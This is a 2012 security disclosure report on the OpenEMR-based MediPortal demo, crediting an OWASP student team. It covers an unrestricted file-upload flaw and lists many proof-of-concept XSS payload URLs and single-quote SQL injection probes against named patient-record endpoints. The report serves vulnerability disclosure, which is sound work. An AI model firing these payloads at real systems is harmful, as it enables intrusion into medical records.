Security report on OpenEMR, case study: demo.merdiportal.gr

During the second half of May 2012, we asked the OWASP team of the Technical Educational Institute of Larisa, to conduct a series of vulnerability tests on the demonstration version of our cloud-based OpenEMR-based application, named MediPortal. The demonstration version is at http://demo.mediportal.gr . Among other findings, the team found several cross-site scripting vulnerabilities and SQL injection points inside the application. These attacks are possible once someone has *already* gained access in the application with user credentials for the login page.

Given the fact that an OpenEMR database may scale up to many users with many terminals as points of use (or even different computers with internet access and unknown dubious security settings), and also considering that these users do not have the same privileges in the specific database, it is quite possible that someone may use their account in order to compromise the database (perhaps even the entire system), or gain access to data not intended for them.

A serious issue not mentioned in the report of the OWASP team was the way the file uploading feature may be used.

Analysis:
OpenEMR supports file uploading as a feature, in order to make it possible for a doctor to include several pertinent files in the patient's record.

Vulnerability:
There is no file format filtering. This way, a user may upload their own PHP, Perl or Python scripts on the server, which can also be executed. Also OpenEMR provides the full path to the exact location of a file when a doctor views or browses through previously uploaded files. This is not necessary; in fact, it is potentially harmful, as it makes it markedly easier for an attacker to directly access the file they had previously uploaded.

Suggestions:
The uploading procedure should make use of a format filtering method, e.g. regular expression on the file-name so as not to contain any invalid strings (for example strings with .php , .dat , .cmd , .bat , .pl , .exe etc should not be allowed to be uploaded at all).Another approach could be a server-side MIME type tweak in any way possible.

The original report was composed by the OWASP team of the Technical Educational Institution of Larisa, Greece.

Vulnerability Analysis

1) Cross site scripting. Vulnerable point: ?site=

```
http://mediportal.gr/interface/login/login_frame.php?
site=';alert(String.fromCharCode(88,83,83))//\\\';alert(String.fromCharCode(88,83,83))//\";alert(
String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode(88,83,83))//-
></SCRIPT>\">\'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>'
```

Vulnerable point: patient=

```
http://demo.mediportal.gr/interface/main/finder/finder_navigation.php?findBy=ID&patient=';ale
rt(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fro
mCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--
></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
http://demo.mediportal.gr/interface/main/finder/finder_navigation.php?findBy=Last&patient=';a
lert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fro
mCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--
></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
http://demo.mediportal.gr/interface/main/finder/finder_navigation.php?findBy=SSN&patient=';
alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fr
omCharCode(88,83,83))//\";
alert(String.fromCharCode(88,83,83))//--
></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
```

Vulnerable point: fstart=

```
http://demo.mediportal.gr/interface/main/finder/patient_select.php?findBy=ID&fstart=';alert(Stri
ng.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromChar
Code(88,83,83))//\";alert(String.fromC
harCode(88,83,83))//--
></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>&patient=&searc
h_service_code=
http://demo.mediportal.gr/interface/main/finder/patient_select.php?findBy=DOB&fstart=';alert(
String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromC
harCode(88,83,83))//\";alert(String.from
CharCode(88,83,83))//--
></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>&patient=&searc
h_service_code=
http://demo.mediportal.gr/interface/main/finder/patient_select.php?findBy=SSN&fstart=';alert(
String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromC
harCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--
></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRI
PT>&patient=&search_service_code=http://demo.mediportal.gr/interface/main/finder/patient_
select.php?findBy=Last&fstart=';alert(String.fromCharCode(88,83,83))//\';alert(String
.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharC
ode(88,83,83))//--
></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>&patient=&searc
h_service_code=
http://demo.mediportal.gr/interface/main/finder/patient_select.php?findBy=Phone&fstart=';aler
t(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.from
CharCode(88,83,83))//\";alert(String.fro
mCharCode(88,83,83))//--
```

></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>&patient=&search_service_code=

Vulnerable point: set_pid=
http://demo.mediportal.gr/interface/patient_file/summary/demographics.php?is_new=1&set_pid=';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>&patient=&search_service_code=
http://demo.mediportal.gr/interface/patient_file/summary/demographics.php?set_pid=';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>&patient=&search_service_code=

Vulnerable point: form_state=
http://demo.mediportal.gr/interface/patient_file/summary/demographics_save.php?_ethnicity=hisp_or_latin&form_family_size=&form_financial_review=0000-00-00%2000%3a00%3a00&form_fname=&form_genericname1=&form_genericval1=&form_guardiansname=&form_hipaa_allowemail=NO&form_hipaa_notice=NO&form_homeless=&form_interpretter=&form_language=greek&form_lname=&form_migrantseasonal=&form_mname=&form_mothersname=&form_phone_biz=&form_phone_cell=&form_phone_contact=&form_phone_home=&form_postal_code=&form_providerID=2&form_pubpid=11&form_referral_source=Patient&form_sex=Female&form_ss=&form_state=';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>&patient=&search_service_code=&form_status=married&form_street=&form_title=Mr.&form_vfc=eligible&mode=sav

Vulnerable point: db_id=
http://demo.mediportal.gr/interface/patient_file/summary/demographics_save.php?db_id=';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>&form_allow_health_info_ex=YES&form_allow_imm_info_share=NO&form_allow_imm_reg_use=NO&form_city=&form_contact_relationship=&form_country_code=GRE&form_deceased_date=0000-00-00%2000%3a00%3a00&form_deceased_reason=&form_DOB=&form_drivers_license=&form_email=&form_ethnicity=hisp_or_latin&form_family_size=&form_financial_review=0000-00-00%2000%3a00%3a00&form_fname=&form_genericname1=&form_genericval1=&form_guardiansname=&form_hipaa_allowemail=NO&form_hipaa_notice=NO&form_homeless=&form_interpretter=&form_language=greek&form_lname=&form_migrantseasonal=&form_mname=&form_mothersname=&form_phone_biz=&form_phone_cell=&form_phone_contact=&form_phone_home=&form_postal_code=&form_providerID=2&form_pubpid=11&form_referral_source=Patient&form_sex=Female&form_ss=&form_state=';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>&form_status=married&form_street=&form_title=Mr.&form_vfc=eligible&mode=save
http://demo.mediportal.gr/interface/patient_file/summary/demographics_save.php?db_id=';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--

></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>&form_allow_health_info_ex=NO&form_allow_imm_info_share=YES&form_allow_imm_reg_use=NO&form_city=&form_contact_relationship=&form_country_code=GRE&form_deceased_date=0000-00-00%2000%3a00%3a00&form_deceased_reason=&form_DOB=&form_drivers_license=&form_email=&form_ethnicity=hisp_or_latin&form_family_size=&form_financial_review=0000-00-00%2000%3a00%3a00&form_fname=&form_genericname1=&form_genericval1=&form_guardiansname=&form_hipaa_allowemail=NO&form_hipaa_notice=NO&form_homeless=&form_interpretter=&form_language=greek&form_lname=&form_migrantseasonal=&form_mname=&form_mothersname=&form_phone_biz=&form_phone_cell=&form_phone_contact=&form_phone_home=&form_postal_code=&form_providerID=2&form_pubpid=11&form_referral_source=Patient&form_sex=Female&form_ss=&form_state=';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>&form_status=married&form_street=&form_title=Mr.&form_vfc=eligible&mode=save

Vulnerable point: offset=
http://demo.mediportal.gr/interface/patient_file/summary/pnotes_full.php?docid=0?form_active=1&form_doc_only=1&form_inactive=1&mode=new&noteid=&offset=';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

Vulnerable point: offset_sent=
http://demo.mediportal.gr/interface/patient_file/summary/pnotes_full.php?docid=0?form_active=1&form_doc_only=1&form_inactive=1&mode=new&noteid=&offset=0&offset_sent=';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//"; alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT

3) SQL Injection

Injection point: set_pid=
http://demo.mediportal.gr/interface/patient_file/summary/demographics.php?set_pid=1'
http://demo.mediportal.gr/interface/patient_file/summary/demographics.php?is_new=1&set_pid=1%27

Injection point: fstart=
http://demo.mediportal.gr/interface/main/finder/patient_select.php?findBy=ID&fstart=1'&patient=&search_service_code=http://demo.mediportal.gr/interface/main/finder/patient_select.php?findBy=DOB&fstart=1'patient=&search_service_code=http://demo.mediportal.gr/interface/main/finder/patient_select.php?findBy=SSN&fstart=1'&patient=&search_service_code=http://demo.mediportal.gr/interface/main/finder/patient_select.php?findBy=Last&fstart=1'&patient=&search_service_code=http://demo.mediportal.gr/interface/main/finder/patient_select.php?findBy=Phone&fstart=1'&patient=&search_service_code=

Injection point: offset=
http://demo.mediportal.gr/interface/patient_file/summary/pnotes_full.php?docid=0?form_active=1&form_doc_only=1&form_inactive=1&mode=new&noteid=&offset=1'&offset_sent=0

Injection point: offset_sent=

http://demo.mediportal.gr/interface/patient_file/summary/pnotes_full.php?docid=0?form_active=1&form_doc_only=1&form_inactive=1&mode=new&noteid=&offset=0&offset_sent=1'

Injection point: form_save=
http://demo.mediportal.gr/interface/patient_file/problem_encounter.php?form_key=p&form_pelist=%2f&form_pid=11&form_save=1'

Injection point: begin=
http://demo.mediportal.gr/interface/main/messages/messages.php?begin=1'

We hope that these findings will help in the effort to make OpenEMR more secure.